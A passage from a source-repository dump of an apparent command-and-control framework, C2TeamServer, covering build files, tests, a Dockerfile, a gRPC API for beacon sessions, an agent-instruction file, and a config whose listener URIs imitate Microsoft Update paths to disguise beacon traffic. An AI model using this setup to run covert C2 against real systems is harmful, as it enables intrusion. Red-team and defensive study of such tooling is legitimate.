lastProofOfLife, 34 | killed, 35 | ) -> str: 36 | output = "Scrip test.py: OnSessionStart\n" 37 | return output 38 | 39 | 40 | def OnSessionStop( 41 | grpcClient: GrpcClient, 42 | beaconHash, 43 | listenerHash, 44 | hostname, 45 | username, 46 | arch, 47 | privilege, 48 | os, 49 | lastProofOfLife, 50 | killed, 51 | ) -> str: 52 | output = "Scrip test.py: OnSessionStop\n" 53 | return output 54 | 55 | 56 | def OnConsoleSend(grpcClient: GrpcClient) -> str: 57 | output = "Scrip test.py: OnConsoleSend\n" 58 | return output 59 | 60 | 61 | def OnConsoleReceive(grpcClient: GrpcClient) -> str: 62 | output = "Scrip test.py: OnConsoleReceive\n" 63 | return output 64 | 65 | -------------------------------------------------------------------------------- /libs/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # Collect .proto files 2 | file(COPY ${CMAKE_SOURCE_DIR}/libs/libGrpcMessages/ DESTINATION ${CMAKE_BINARY_DIR}/libs/libGrpcMessages/) 3 | 4 | file(GLOB PROTO_FILES "${CMAKE_SOURCE_DIR}/libs/libGrpcMessages/src/*.proto") 5 | 6 | # Generate C++ gRPC files 7 | execute_process( 8 | COMMAND ${Protobuf_PROTOC_EXECUTABLE} 9 | -I=${CMAKE_SOURCE_DIR}/libs/libGrpcMessages/src/ 10 | --grpc_out=${CMAKE_BINARY_DIR}/libs/libGrpcMessages/build/cpp/src 11 | --cpp_out=${CMAKE_BINARY_DIR}/libs/libGrpcMessages/build/cpp/src 12 | --plugin=protoc-gen-grpc=${GRPC_CPP_PLUGIN_PROGRAM} 13 | ${PROTO_FILES} 14 | RESULT_VARIABLE ret1 15 | ) 16 | 17 | if(NOT ret1 EQUAL 0) 18 | message(FATAL_ERROR "C++ gRPC generation failed with status: ${ret1}") 19 | endif() 20 | 21 | # Generate Python gRPC files 22 | execute_process( 23 | COMMAND ${Protobuf_PROTOC_EXECUTABLE} 24 | -I=${CMAKE_SOURCE_DIR}/libs/libGrpcMessages/src/ 25 | --grpc_out=${CMAKE_SOURCE_DIR}/C2Client/C2Client/libGrpcMessages/build/py 26 | --python_out=${CMAKE_SOURCE_DIR}/C2Client/C2Client/libGrpcMessages/build/py 27 | --plugin=protoc-gen-grpc=${GRPC_PYTHON_PLUGIN_PROGRAM} 28 | ${PROTO_FILES} 29 | RESULT_VARIABLE ret2 30 | ) 31 | 32 | if(NOT ret2 EQUAL 0) 33 | message(FATAL_ERROR "Python gRPC generation failed with status: ${ret2}") 34 | endif() 35 | 36 | add_subdirectory(libGrpcMessages) 37 | 38 | add_subdirectory(libSocketHandler) 39 | 40 | add_subdirectory(libDns) 41 | 42 | add_subdirectory(libMemoryModuleDumy) 43 | add_subdirectory(libPipeHandlerDumy) 44 | add_subdirectory(libSocks5) -------------------------------------------------------------------------------- /C2Client/tests/test_grpc_client.py: -------------------------------------------------------------------------------- 1 | import grpc 2 | import os 3 | from types import SimpleNamespace 4 | from unittest import mock 5 | 6 | import pytest 7 | 8 | import C2Client.grpcClient as grpc_client_module 9 | import sys 10 | sys.modules['grpcClient'] = grpc_client_module 11 | 12 | from C2Client.grpcClient import GrpcClient, TeamServerApi_pb2_grpc 13 | 14 | 15 | class DummyFuture: 16 | def result(self): 17 | return None 18 | 19 | 20 | def test_grpc_client_reads_certificate_and_sets_metadata(tmp_path, monkeypatch): 21 | cert = tmp_path / "cert.crt" 22 | cert.write_text("cert") 23 | monkeypatch.setenv("C2_CERT_PATH", str(cert)) 24 | monkeypatch.setattr(grpc, "ssl_channel_credentials", lambda _: object()) 25 | monkeypatch.setattr(grpc, "secure_channel", lambda *args, **kwargs: object()) 26 | monkeypatch.setattr(grpc, "channel_ready_future", lambda channel: DummyFuture()) 27 | stub = mock.MagicMock() 28 | monkeypatch.setattr(TeamServerApi_pb2_grpc, "TeamServerApiStub", lambda channel: stub) 29 | 30 | client = GrpcClient("127.0.0.1", 50051, False, token="tok") 31 | assert ("authorization", "Bearer tok") in client.metadata 32 | 33 | 34 | def test_grpc_client_connection_error(tmp_path, monkeypatch): 35 | cert = tmp_path / "cert.crt" 36 | cert.write_text("cert") 37 | monkeypatch.setenv("C2_CERT_PATH", str(cert)) 38 | monkeypatch.setattr(grpc, "ssl_channel_credentials", lambda _: object()) 39 | monkeypatch.setattr(grpc, "secure_channel", lambda *args, **kwargs: object()) 40 | 41 | class FailingFuture: 42 | def result(self): 43 | raise grpc.RpcError("err") 44 | 45 | monkeypatch.setattr(grpc, "channel_ready_future", lambda channel: FailingFuture()) 46 | 47 | with pytest.raises(ValueError): 48 | GrpcClient("127.0.0.1", 50051, False) 49 | -------------------------------------------------------------------------------- /certs/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | ## ssl certificat for https listener 2 | if(WIN32) 3 | else() 4 | file(COPY ${CMAKE_SOURCE_DIR}/certs/sslBeaconHttps DESTINATION ${CMAKE_BINARY_DIR}/certs) 5 | 6 | execute_process(COMMAND bash -c "cd ${CMAKE_BINARY_DIR}/certs/sslBeaconHttps && ./genSslCert.sh localhost") 7 | 8 | file(COPY ${CMAKE_BINARY_DIR}/certs/sslBeaconHttps/localhost.key DESTINATION ${CMAKE_SOURCE_DIR}/Release/TeamServer/) 9 | #file(RENAME ${CMAKE_SOURCE_DIR}/Release/TeamServer/localhost.key ${CMAKE_SOURCE_DIR}/Release/TeamServer/localhost.key) 10 | 11 | file(COPY ${CMAKE_BINARY_DIR}/certs/sslBeaconHttps/localhost.crt DESTINATION ${CMAKE_SOURCE_DIR}/Release/TeamServer/) 12 | #file(RENAME ${CMAKE_SOURCE_DIR}/Release/TeamServer/localhost.crt ${CMAKE_SOURCE_DIR}/Release/TeamServer/localhost.crt) 13 | 14 | endif() 15 | 16 | ## ssl certificat for TeamServer 17 | if(WIN32) 18 | else() 19 | file(COPY ${CMAKE_SOURCE_DIR}/certs/sslTeamServ DESTINATION ${CMAKE_BINARY_DIR}/certs) 20 | 21 | execute_process(COMMAND bash -c "cd ${CMAKE_BINARY_DIR}/certs/sslTeamServ && ./genSslCert.sh") 22 | 23 | # server.key 24 | file(COPY ${CMAKE_BINARY_DIR}/certs/sslTeamServ/server-key.pem DESTINATION ${CMAKE_SOURCE_DIR}/Release/TeamServer/) 25 | file(RENAME ${CMAKE_SOURCE_DIR}/Release/TeamServer/server-key.pem ${CMAKE_SOURCE_DIR}/Release/TeamServer/server.key) 26 | 27 | # server.crt 28 | file(COPY ${CMAKE_BINARY_DIR}/certs/sslTeamServ/server.pem DESTINATION ${CMAKE_SOURCE_DIR}/Release/TeamServer/) 29 | file(RENAME ${CMAKE_SOURCE_DIR}/Release/TeamServer/server.pem ${CMAKE_SOURCE_DIR}/Release/TeamServer/server.crt) 30 | 31 | # rootCA.crt 32 | file(COPY ${CMAKE_BINARY_DIR}/certs/sslTeamServ/ca.pem DESTINATION ${CMAKE_SOURCE_DIR}/Release/TeamServer/) 33 | file(RENAME ${CMAKE_SOURCE_DIR}/Release/TeamServer/ca.pem ${CMAKE_SOURCE_DIR}/Release/TeamServer/rootCA.crt) 34 | endif() -------------------------------------------------------------------------------- /C2Client/tests/test_gui_startup.py: -------------------------------------------------------------------------------- 1 | from types import SimpleNamespace 2 | 3 | from PyQt6.QtWidgets import QWidget 4 | 5 | import C2Client.grpcClient as grpc_client_module 6 | import sys 7 | sys.modules['grpcClient'] = grpc_client_module 8 | 9 | from C2Client import GUI 10 | 11 | 12 | class DummySignal: 13 | def connect(self, *args, **kwargs): 14 | pass 15 | 16 | 17 | class DummyWidget(QWidget): 18 | sessionScriptSignal = DummySignal() 19 | listenerScriptSignal = DummySignal() 20 | interactWithSession = DummySignal() 21 | 22 | def __init__(self, *args, **kwargs): 23 | super().__init__(*args, **kwargs) 24 | 25 | 26 | class DummyConsole(QWidget): 27 | def __init__(self, *args, **kwargs): 28 | super().__init__(*args, **kwargs) 29 | self.script = SimpleNamespace( 30 | sessionScriptMethod=lambda *a, **k: None, 31 | listenerScriptMethod=lambda *a, **k: None, 32 | mainScriptMethod=lambda *a, **k: None, 33 | ) 34 | self.assistant = SimpleNamespace(sessionAssistantMethod=lambda *a, **k: None) 35 | 36 | def addConsole(self, *args, **kwargs): 37 | pass 38 | 39 | 40 | def test_gui_startup(qtbot, monkeypatch): 41 | monkeypatch.setattr(GUI, 'GrpcClient', lambda ip, port, dev: object()) 42 | 43 | def fake_top(self): 44 | self.sessionsWidget = DummyWidget() 45 | self.listenersWidget = DummyWidget() 46 | 47 | def fake_bot(self): 48 | self.consoleWidget = DummyConsole() 49 | 50 | monkeypatch.setattr(GUI.App, 'topLayout', fake_top) 51 | monkeypatch.setattr(GUI.App, 'botLayout', fake_bot) 52 | 53 | app = GUI.App('127.0.0.1', 50051, False) 54 | qtbot.addWidget(app) 55 | 56 | assert isinstance(app.consoleWidget, DummyConsole) 57 | assert isinstance(app.listenersWidget, DummyWidget) 58 | assert isinstance(app.sessionsWidget, DummyWidget) 59 | -------------------------------------------------------------------------------- /teamServer/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | 2 | include_directories(../core) 3 | include_directories(../core/modules/ModuleCmd) 4 | 5 | set(SOURCES_TEAMSERVER 6 | teamServer/TeamServer.cpp 7 | ../core/listener/Listener.cpp 8 | ../core/listener/ListenerTcp.cpp 9 | ../core/listener/ListenerHttp.cpp 10 | ../core/listener/ListenerGithub.cpp 11 | ../core/listener/ListenerDns.cpp 12 | ../../thirdParty/base64/base64.cpp 13 | ) 14 | 15 | ## TeamServer 16 | add_executable(TeamServer ${SOURCES_TEAMSERVER}) 17 | if(WIN32) 18 | target_link_libraries(TeamServer Dnscommunication SocketHandler GrpcMessages openssl::openssl ${OPENSSL_CRYPTO_LIBRARY} ZLIB::ZLIB grpc::grpc spdlog::spdlog SocksServer) 19 | else() 20 | target_link_libraries(TeamServer Dnscommunication SocketHandler GrpcMessages pthread openssl::openssl ZLIB::ZLIB grpc::grpc spdlog::spdlog httplib::httplib SocksServer dl rt) 21 | endif() 22 | 23 | add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 24 | $ "${CMAKE_SOURCE_DIR}/Release/TeamServer/$") 25 | add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 26 | ${CMAKE_SOURCE_DIR}/teamServer/teamServer/TeamServerConfig.json "${CMAKE_SOURCE_DIR}/Release/TeamServer/TeamServerConfig.json") 27 | add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 28 | ${CMAKE_SOURCE_DIR}/teamServer/teamServer/auth_credentials.json "${CMAKE_SOURCE_DIR}/Release/TeamServer/auth_credentials.json") 29 | 30 | if(WITH_TESTS) 31 | add_executable(testsTestServer tests/testsTestServer.cpp ) 32 | target_link_libraries(testsTestServer ) 33 | 34 | add_custom_command(TARGET testsTestServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 35 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 36 | 37 | add_test(NAME testsTestServer COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 38 | endif() -------------------------------------------------------------------------------- /.github/workflows/Tests.yml: -------------------------------------------------------------------------------- 1 | name: Tests 2 | 3 | on: workflow_dispatch 4 | 5 | env: 6 | # Customize the CMake build type here (Release, Debug, RelWithDebInfo, etc.) 7 | BUILD_TYPE: Release 8 | 9 | jobs: 10 | buildAndTest: 11 | # The CMake configure and build commands are platform agnostic and should work equally well on Windows or Mac. 12 | # You can convert this to a matrix build if you need cross-platform coverage. 13 | # See: https://docs.github.com/en/free-pro-team@latest/actions/learn-github-actions/managing-complex-workflows#using-a-build-matrix 14 | runs-on: ubuntu-22.04 15 | 16 | steps: 17 | - uses: actions/checkout@v4 18 | 19 | - name: Install Samba client dev headers 20 | run: | 21 | sudo apt-get update 22 | sudo apt-get install -y libsmbclient-dev 23 | 24 | # Update references 25 | - name: Git Sumbodule Update 26 | run: | 27 | git submodule update --init 28 | 29 | # Needed to generate certificates 30 | - uses: ConorMacBride/install-package@v1 31 | with: 32 | apt: golang-cfssl 33 | 34 | - name: Get Conan 35 | # You may pin to the exact commit or the version. 36 | # uses: turtlebrowser/get-conan@c171f295f3f507360ee018736a6608731aa2109d 37 | uses: turtlebrowser/get-conan@v1.2 38 | 39 | - name: Create default profile 40 | run: conan profile detect 41 | 42 | - name: Configure CMake for tests 43 | run: cmake -B ${{github.workspace}}/build -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=${{github.workspace}}/conan_provider.cmake 44 | 45 | - name: Build for test 46 | run: cmake --build ${{github.workspace}}/build -j 18 47 | 48 | - name: Run unit tests 49 | run: ctest --test-dir build 50 | 51 | - name: Configure CMake like the release 52 | run: cmake -B ${{github.workspace}}/buildRelease -DWITH_TESTS=OFF -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=${{github.workspace}}/conan_provider.cmake 53 | 54 | - name: Build like the release 55 | run: cmake --build ${{github.workspace}}/buildRelease -j 18 56 | -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.24.0 FATAL_ERROR) 2 | 3 | project(C2TeamServer VERSION 0.0.0 LANGUAGES CXX C) 4 | set(CMAKE_BUILD_TYPE Release) 5 | set(CMAKE_CXX_STANDARD 17) 6 | 7 | 8 | ## 9 | ## Conan Dependencies 10 | ## 11 | 12 | set(CMAKE_PREFIX_PATH ${CMAKE_BINARY_DIR}) 13 | 14 | find_package(gRPC REQUIRED) 15 | find_package(OpenSSL REQUIRED) 16 | find_package(protobuf REQUIRED) 17 | find_package(ZLIB REQUIRED) 18 | find_package(spdlog REQUIRED) 19 | find_package(httplib REQUIRED) 20 | 21 | 22 | ## 23 | ## libssh2 for SshExec 24 | ## 25 | 26 | set(CMAKE_POSITION_INDEPENDENT_CODE ON) # <- makes static libs PIC 27 | set(BUILD_SHARED_LIBS OFF CACHE BOOL "" FORCE) # libssh2 as static 28 | set(BUILD_TESTING OFF CACHE BOOL "" FORCE) # no libssh2 tests 29 | 30 | include(FetchContent) 31 | set(LIBSSH2_BUILD_EXAMPLES OFF CACHE BOOL "" FORCE) 32 | set(LIBSSH2_BUILD_TESTS OFF CACHE BOOL "" FORCE) 33 | FetchContent_Declare( 34 | libssh2 35 | GIT_REPOSITORY https://github.com/libssh2/libssh2.git 36 | GIT_TAG libssh2-1.11.1 37 | ) 38 | FetchContent_MakeAvailable(libssh2) 39 | 40 | include_directories(${CMAKE_INCLUDE_PATH}) 41 | 42 | 43 | ## 44 | ## Config Tests et Logs 45 | ## 46 | 47 | option(WITH_TESTS "Compile for tests" ON) 48 | 49 | option(BUILD_TEAMSERVER "Enable Teamserver config" ON) 50 | add_definitions(-DBUILD_TEAMSERVER) 51 | 52 | if(WITH_TESTS) 53 | set(SPDLOG_ACTIVE_LEVEL SPDLOG_LEVEL_DEBUG) 54 | endif() 55 | 56 | 57 | ## 58 | ## Build 59 | ## 60 | 61 | include_directories(thirdParty) 62 | 63 | add_subdirectory(libs) 64 | 65 | add_subdirectory(thirdParty) 66 | include_directories(thirdParty/base64) 67 | include_directories(thirdParty/donut/include) 68 | 69 | set(DONUT_BUILD_DIR "${CMAKE_BINARY_DIR}/thirdParty/donut") 70 | add_library(Donut STATIC IMPORTED) 71 | set_target_properties(Donut PROPERTIES 72 | IMPORTED_LOCATION "${DONUT_BUILD_DIR}/lib/libdonut.a" 73 | ) 74 | 75 | if(WITH_TESTS) 76 | enable_testing() 77 | endif() 78 | 79 | include_directories(core/listener) 80 | include_directories(core/beacon) 81 | include_directories(core/modules/ModuleCmd) 82 | 83 | add_subdirectory(teamServer) 84 | add_subdirectory(core/modules) 85 | 86 | add_subdirectory(certs) 87 | 88 | 89 | 90 | 91 | -------------------------------------------------------------------------------- /certs/sslBeaconHttps/genSslCert.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | 5 | if [[ $# -ne 1 ]]; then 6 | echo "Usage: $0 " >&2 7 | exit 1 8 | fi 9 | 10 | DOMAIN="$1" 11 | 12 | SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" 13 | pushd "${SCRIPT_DIR}" >/dev/null 14 | 15 | rm -f rootCA.key rootCA.crt rootCA.srl \ 16 | "${DOMAIN}.key" "${DOMAIN}.csr" "${DOMAIN}.crt" \ 17 | csr.conf cert.ext 18 | 19 | # --------------------------------------------------------------------------- 20 | # Root CA used to sign the beacon HTTPS certificate. 21 | # --------------------------------------------------------------------------- 22 | openssl req -x509 -newkey rsa:4096 -days 3650 -nodes \ 23 | -keyout rootCA.key -out rootCA.crt \ 24 | -subj "/C=US/ST=California/L=San Francisco/O=C2TeamServer/OU=Beacon/CN=${DOMAIN} Root CA" 25 | 26 | # --------------------------------------------------------------------------- 27 | # Private key and CSR for the provided domain. 28 | # --------------------------------------------------------------------------- 29 | openssl genrsa -out "${DOMAIN}.key" 2048 30 | 31 | cat < csr.conf 32 | [ req ] 33 | default_bits = 2048 34 | prompt = no 35 | default_md = sha256 36 | req_extensions = req_ext 37 | distinguished_name = dn 38 | 39 | [ dn ] 40 | C = US 41 | ST = California 42 | L = San Francisco 43 | O = C2TeamServer 44 | OU = Beacon 45 | CN = ${DOMAIN} 46 | 47 | [ req_ext ] 48 | subjectAltName = @alt_names 49 | 50 | [ alt_names ] 51 | DNS.1 = ${DOMAIN} 52 | DNS.2 = www.${DOMAIN} 53 | IP.1 = 192.168.1.2 54 | IP.2 = 192.168.1.3 55 | EOF 56 | 57 | openssl req -new -key "${DOMAIN}.key" -out "${DOMAIN}.csr" -config csr.conf 58 | 59 | cat < cert.ext 60 | authorityKeyIdentifier = keyid,issuer 61 | basicConstraints = CA:FALSE 62 | extendedKeyUsage = serverAuth 63 | keyUsage = digitalSignature,keyEncipherment 64 | subjectAltName = @alt_names 65 | 66 | [ alt_names ] 67 | DNS.1 = ${DOMAIN} 68 | DNS.2 = www.${DOMAIN} 69 | IP.1 = 192.168.1.2 70 | IP.2 = 192.168.1.3 71 | EOF 72 | 73 | openssl x509 -req -in "${DOMAIN}.csr" -CA rootCA.crt -CAkey rootCA.key \ 74 | -CAcreateserial -out "${DOMAIN}.crt" -days 365 -sha256 -extfile cert.ext 75 | 76 | rm -f csr.conf cert.ext "${DOMAIN}.csr" rootCA.srl 77 | 78 | popd >/dev/null 79 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile:1 2 | FROM ubuntu:24.04 3 | 4 | LABEL org.opencontainers.image.title="Exploration TeamServer" 5 | LABEL org.opencontainers.image.description="Container image for the Exploration C2 TeamServer." 6 | LABEL org.opencontainers.image.source="https://github.com/maxDcb/C2TeamServer" 7 | 8 | ENV TEAMSERVER_HOME=/opt/teamserver 9 | WORKDIR ${TEAMSERVER_HOME} 10 | 11 | # Install minimal dependencies 12 | RUN apt-get update \ 13 | && apt-get install -y --no-install-recommends \ 14 | ca-certificates \ 15 | libstdc++6 \ 16 | wget \ 17 | jq \ 18 | tar \ 19 | && rm -rf /var/lib/apt/lists/* 20 | 21 | # Download and extract the latest Release from GitHub 22 | RUN wget -q $(wget -q -O - "https://api.github.com/repos/maxDcb/C2TeamServer/releases/latest" \ 23 | | jq -r '.assets[] | select(.name=="Release.tar.gz").browser_download_url') \ 24 | -O /tmp/Release.tar.gz \ 25 | && mkdir -p ${TEAMSERVER_HOME}/Release \ 26 | && tar xf /tmp/Release.tar.gz --strip-components=1 -C ${TEAMSERVER_HOME}/Release \ 27 | && rm /tmp/Release.tar.gz 28 | 29 | # Add the entrypoint script directly 30 | RUN cat > /usr/local/bin/teamserver-entrypoint.sh <<'EOF' 31 | #!/bin/sh 32 | set -e 33 | 34 | RELEASE_DIR="/opt/teamserver/Release" 35 | TEAMSERVER_DIR="${RELEASE_DIR}/TeamServer" 36 | TEAMSERVER_BIN="${TEAMSERVER_DIR}/TeamServer" 37 | 38 | if [ ! -x "${TEAMSERVER_BIN}" ]; then 39 | cat >&2 <<'MSG' 40 | [TeamServer] TeamServer binary was not found at /opt/teamserver/Release/TeamServer/TeamServer. 41 | [TeamServer] Mount a populated Release directory into the container, for example: 42 | [TeamServer] docker run --rm --network host \ 43 | [TeamServer] -v /path/to/Release:/opt/teamserver/Release \ 44 | [TeamServer] exploration-teamserver:latest 45 | MSG 46 | exit 1 47 | fi 48 | 49 | mkdir -p "${TEAMSERVER_DIR}/logs" 50 | 51 | cd "${TEAMSERVER_DIR}" 52 | 53 | exec "${TEAMSERVER_BIN}" "$@" 54 | EOF 55 | 56 | # Make entrypoint executable + binary (if present) 57 | RUN chmod +x /usr/local/bin/teamserver-entrypoint.sh \ 58 | && if [ -f "${TEAMSERVER_HOME}/Release/TeamServer/TeamServer" ]; then \ 59 | chmod +x "${TEAMSERVER_HOME}/Release/TeamServer/TeamServer"; \ 60 | fi 61 | 62 | VOLUME ["/opt/teamserver/Release"] 63 | 64 | EXPOSE 50051 80 443 445 65 | 66 | ENTRYPOINT ["/usr/local/bin/teamserver-entrypoint.sh"] 67 | -------------------------------------------------------------------------------- /libs/libGrpcMessages/src/TeamServerApi.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package teamserverapi; 4 | 5 | 6 | // Interface exported by the server. 7 | service TeamServerApi 8 | { 9 | rpc Authenticate(AuthRequest) returns (AuthResponse) {} 10 | rpc GetListeners(Empty) returns (stream Listener) {} 11 | rpc AddListener(Listener) returns (Response) {} 12 | rpc StopListener(Listener) returns (Response) {} 13 | 14 | rpc GetSessions(Empty) returns (stream Session) {} 15 | rpc StopSession(Session) returns (Response) {} 16 | 17 | rpc GetHelp(Command) returns (CommandResponse) {} 18 | rpc SendCmdToSession(Command) returns (Response) {} 19 | rpc GetResponseFromSession(Session) returns (stream CommandResponse) {} 20 | 21 | rpc SendTermCmd(TermCommand) returns (TermCommand) {} 22 | } 23 | 24 | 25 | message Empty 26 | { 27 | } 28 | 29 | 30 | message AuthRequest 31 | { 32 | string username = 1; 33 | string password = 2; 34 | } 35 | 36 | 37 | message AuthResponse 38 | { 39 | Status status = 1; 40 | string token = 2; 41 | string message = 3; 42 | } 43 | 44 | 45 | enum Status 46 | { 47 | OK = 0; 48 | KO = 1; 49 | } 50 | 51 | 52 | message Response 53 | { 54 | Status status = 1; 55 | bytes message = 2; 56 | } 57 | 58 | 59 | message Listener 60 | { 61 | string listenerHash = 1; 62 | string type = 2; 63 | int32 port = 3; 64 | string ip = 4; 65 | string project = 6; 66 | string token = 7; 67 | string domain = 8; 68 | int32 numberOfSession = 5; 69 | string beaconHash = 9; 70 | } 71 | 72 | 73 | message Session 74 | { 75 | string beaconHash = 1; 76 | string listenerHash = 2; 77 | string hostname = 3; 78 | string username = 4; 79 | string arch = 5; 80 | string privilege = 6; 81 | string os = 7; 82 | string lastProofOfLife = 8; 83 | bool killed = 9; 84 | string internalIps = 10; 85 | string processId = 11; 86 | string additionalInformation = 12; 87 | } 88 | 89 | 90 | message Command 91 | { 92 | string beaconHash = 1; 93 | string listenerHash = 2; 94 | string cmd = 3; 95 | } 96 | 97 | 98 | message CommandResponse 99 | { 100 | string beaconHash = 1; 101 | string instruction = 2; 102 | string cmd = 3; 103 | bytes response = 4; 104 | } 105 | 106 | 107 | message TermCommand 108 | { 109 | string cmd = 1; 110 | string result = 2; 111 | bytes data = 3; 112 | } 113 | -------------------------------------------------------------------------------- /AGENT.md: -------------------------------------------------------------------------------- 1 | # 🧠 AGENT.md 2 | 3 | ## Agent Role 4 | 5 | You are an **expert C++ and CMake assistant** dedicated to supporting the C2TeamServer codebase: 6 | 7 | * ✅ Fluent with the **project’s existing C++ style, directory layout, and CMake syntax**. 8 | * ⛔ **Do not attempt to build or compile the project**—that process is resource-intensive and time-consuming. 9 | * 🎯 Your focus is on **code understanding, guidance, edits**. 10 | 11 | --- 12 | 13 | ## 📌 Responsibilities 14 | 15 | ### Code Review & Navigation 16 | 17 | * Analyze and explain C++ classes, actions, and CMake configurations. 18 | * Help trace calls from gRPC definitions to implementation. 19 | * Locate where libraries and dependencies are imported and used. 20 | 21 | ### Style & Syntax Alignment 22 | 23 | * Provide suggestions strictly following the project's CMake and C++ style conventions (e.g., variable naming, build targets, include directories). 24 | * Maintain consistency with existing module structure and naming. 25 | 26 | ### Documentation & Guidance 27 | 28 | * Generate lightweight helper scripts (e.g. code snippets, CMake snippets, CLI usage). 29 | * Draft small additions to README, comments, or doc files to clarify behavior—without rebuilding. 30 | 31 | ### Troubleshooting and Q\&A 32 | 33 | * Troubleshoot code logic, gRPC interactions, and CMake file references. 34 | * Answer developer questions about function behavior, build targets, or directory layout. 35 | * Provide suggestions for refactors, optimizations, or better code organization that aligns with the existing style. 36 | 37 | --- 38 | 39 | ## 🚫 What You Should Not Do 40 | 41 | * 🛠 Attempt to build the TeamServer or its dependencies locally. 42 | * ⚠ Perform any heavy code generation or restructuring that would require a full build. 43 | * 🔁 Initiate or recommend large build automations or CI integrations. 44 | 45 | --- 46 | 47 | ## ✅ Summary 48 | 49 | | Role | Description | 50 | | --------------------- | ---------------------------------------------------------------------------- | 51 | | **Expert Agent** | Deep knowledge of C++17 and CMake for command-and-control code | 52 | | **No Builds** | Don’t compile the project or port it to other systems; skip heavy operations | 53 | | **Style-Focused** | Always match project's existing syntax and modular layout | 54 | | **Lightweight Tasks** | Commentary, documentation, small code reviews, snippet generation | 55 | 56 | --- 57 | 58 | You are effectively the **senior C++/CMake co-pilot** for the project—always aligned with the existing style, focused on clarity and precision, and avoiding resource-intensive operations. 59 | -------------------------------------------------------------------------------- /teamServer/teamServer/TeamServerConfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "//LogLevelValues": "trace, debug, info, warning, error, fatal", 3 | "LogLevel": "info", 4 | "TeamServerModulesDirectoryPath": "../TeamServerModules/", 5 | "LinuxModulesDirectoryPath": "../LinuxModules/", 6 | "WindowsModulesDirectoryPath": "../WindowsModules/", 7 | "LinuxBeaconsDirectoryPath": "../LinuxBeacons/", 8 | "WindowsBeaconsDirectoryPath": "../WindowsBeacons/", 9 | "ToolsDirectoryPath": "../Tools/", 10 | "ScriptsDirectoryPath": "../Scripts/", 11 | "//Host contacted by the beacon": "3 following value are related to the host, probably a proxy, that will be contacted by the beacon, if DomainName is filled it will be selected first, then the ExposedIp and then the IpInterface", 12 | "DomainName": "", 13 | "ExposedIp": "", 14 | "IpInterface": "eth0", 15 | "ServerGRPCAdd": "0.0.0.0", 16 | "ServerGRPCPort": "50051", 17 | "ServCrtFile": "server.crt", 18 | "ServKeyFile": "server.key", 19 | "RootCA": "rootCA.crt", 20 | "AuthCredentialsFile": "auth_credentials.json", 21 | "xorKey": "dfsdgferhzdzxczevre5595485sdg", 22 | "ListenerHttpConfig": { 23 | "uri": [ 24 | "/MicrosoftUpdate/ShellEx/KB242742/default.aspx", 25 | "/MicrosoftUpdate/ShellEx/KB242742/admin.aspx", 26 | "/MicrosoftUpdate/ShellEx/KB242742/download.aspx" 27 | ], 28 | "uriFileDownload": "/images/commun/1.084.4584/serv/", 29 | "downloadFolder": "../www", 30 | "server": { 31 | "headers": { 32 | "Access-Control-Allow-Origin": "true", 33 | "Connection": "Keep-Alive", 34 | "Content-Type": "application/json", 35 | "Server": "Server", 36 | "Strict-Transport-Security": "max-age=47474747; includeSubDomains; preload", 37 | "Vary": "Origin,Content-Type,Accept-Encoding,User-Agent" 38 | } 39 | } 40 | }, 41 | "ListenerHttpsConfig": { 42 | "ServHttpsListenerCrtFile": "localhost.crt", 43 | "ServHttpsListenerKeyFile": "localhost.key", 44 | "uri": [ 45 | "/MicrosoftUpdate/ShellEx/KB242742/default.aspx", 46 | "/MicrosoftUpdate/ShellEx/KB242742/upload.aspx", 47 | "/MicrosoftUpdate/ShellEx/KB242742/config.aspx" 48 | ], 49 | "uriFileDownload": "/images/commun/1.084.4584/serv/", 50 | "downloadFolder": "../www", 51 | "server": { 52 | "headers": { 53 | "Access-Control-Allow-Origin": "true", 54 | "Connection": "Keep-Alive", 55 | "Content-Type": "application/json", 56 | "Server": "Server", 57 | "Strict-Transport-Security": "max-age=47474747; includeSubDomains; preload", 58 | "Vary": "Origin,Content-Type,Accept-Encoding,User-Agent" 59 | } 60 | } 61 | } 62 | } -------------------------------------------------------------------------------- /.github/workflows/Release.yml: -------------------------------------------------------------------------------- 1 | name: Release 2 | 3 | on: 4 | workflow_dispatch: 5 | push: 6 | tags: 7 | - '*' 8 | 9 | 10 | env: 11 | # Customize the CMake build type here (Release, Debug, RelWithDebInfo, etc.) 12 | BUILD_TYPE: Release 13 | 14 | permissions: 15 | contents: write 16 | 17 | jobs: 18 | buildAndRelease: 19 | # The CMake configure and build commands are platform agnostic and should work equally well on Windows or Mac. 20 | # You can convert this to a matrix build if you need cross-platform coverage. 21 | # See: https://docs.github.com/en/free-pro-team@latest/actions/learn-github-actions/managing-complex-workflows#using-a-build-matrix 22 | runs-on: ubuntu-22.04 23 | 24 | steps: 25 | - uses: actions/checkout@v4 26 | 27 | - name: Install Samba client dev headers 28 | run: | 29 | sudo apt-get update 30 | sudo apt-get install -y libsmbclient-dev 31 | 32 | # Update references 33 | - name: Git Sumbodule Update 34 | run: | 35 | git submodule update --init 36 | 37 | # Needed to generate certificates 38 | - uses: ConorMacBride/install-package@v1 39 | with: 40 | apt: golang-cfssl 41 | 42 | - name: Get Conan 43 | # You may pin to the exact commit or the version. 44 | # uses: turtlebrowser/get-conan@c171f295f3f507360ee018736a6608731aa2109d 45 | uses: turtlebrowser/get-conan@v1.2 46 | 47 | - name: Create default profile 48 | run: conan profile detect 49 | 50 | - name: Configure CMake 51 | run: cmake -B ${{github.workspace}}/build 